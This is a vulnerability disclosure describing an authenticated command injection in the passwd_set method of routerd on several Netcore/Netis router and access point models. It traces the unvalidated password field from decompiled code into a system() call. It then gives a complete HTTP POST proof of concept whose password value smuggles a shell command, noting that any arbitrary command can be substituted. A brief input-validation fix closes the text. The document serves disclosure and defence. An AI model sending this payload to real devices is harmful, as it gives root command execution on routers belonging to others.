Arbitrary Command Injection Vulnerability in Netcore Routers and Wireless APs After Authorization
I. Affected Products and Firmware Download Links
NBR1005GPEV2:https://www.netcoretec.com/service-support/download/firmware/2707.html
B6V2:https://www.netcoretec.com/service-support/download/firmware/2703.html
COVER5:https://www.netcoretec.com/service-support/download/firmware/2680.html
NAP930:https://www.netcoretec.com/service-support/download/firmware/2704.html
NAP830:https://www.netcoretec.com/service-support/download/firmware/2708.html
NBR100V2:https://www.netcoretec.com/service-support/download/firmware/2706.html
NBR200V2:https://www.netcoretec.com/service-support/download/firmware/2705.html
II. Vulnerability Causes
The firmware of these routers uses the uhttpd + ubus architecture.
uhttpd (Web Server)
- Listens on port
80(HTTP) and acceptsPOST /ubusrequests. - Parses the request header to confirm the
Content-Typeisapplication/x-www-form-urlencoded, but the actual payload is JSON (non-standard but common). - Forwards requests to the
ubusRPC service (typically viaubusUnix Socket or CGI interface).
Running the ubus list command shows registered ubus services

The vulnerability is found in routerd (file: /usr/bin/routerd). In its data segment, the callback function for the passwd_set method is sub_416260

In sub_416260, blobmsg_parse parses Blob format data (OpenWrt’s binary JSON format, see image:

The structure mapping is:
v19→user(username)v20→pwd(password), withv16 = v20v21→by(empty if not provided in the request)

The username from v19 is extracted, skipping the Blobmsg header. Each character is checked to ensure it is _ (ASCII 0x5F) or alphanumeric (via isalnum). Illegal characters trigger an error log

The password from v16 (stored as v17, skipping the Blobmsg header) is passed to passwd_set_api without any validation . This function executes passwd_set_api(username, password).
If the result is 0 (success), and the username is “root” with v15 (value of the by field) not equal to “ac”, the code writes v17 to:
uci set auto_ac.auto_ac.passwd=%s; uci commit auto_ac
and calls system() with this command, creating a command injection vulnerability

In passwd_set_api, the password (a2) is not validated

If a password exists, it constructs commands:
snprintf(v10, 0x80u, "passwd %s", a1); // e.g., "passwd root"
snprintf(v11, 0x80u, "%s\n", a2); // e.g., "admin123\n"
v4 = popen(v10, "w"); // Opens a command pipe for writing
fwrite(v11, ...); // Writes the password twice (for confirmation)
On success, it returns 0, leading to the command injection vulnerability

III. POC Explanation
POST /ubus HTTP/1.1
Host: 192.168.50.2
Content-Length: 163
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/javascript, /; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Origin: http://192.168.50.2
Referer: http://192.168.50.2/guide/guide.html
Accept-Encoding: gzip, deflate, br
Connection: keep-alive{"jsonrpc":"2.0","id":22,"method":"call","params":["a9c61fc83080b13ded7512db83c9b123","routerd","passwd_set",{"user":"root","pwd":"admin123;mkdir -p /tmp/test1"}]}
- Replace the
sidin theparamsfield (first value, e.g.,"a9c61fc83080b13ded7512db83c9b123") with the actual session ID obtained after login. - The command
mkdir -p /tmp/test1can be replaced with any arbitrary command.
Demonstration of remote shell access:

IV. Recommended Solution
Apply the same validation used for the username to the password: restrict it to contain only underscores, letters, and numbers.
Discoverer: Exploo0Osion.
Please contact Netcore (Netis Technology) technical support to fix this vulnerability in a timely manner.
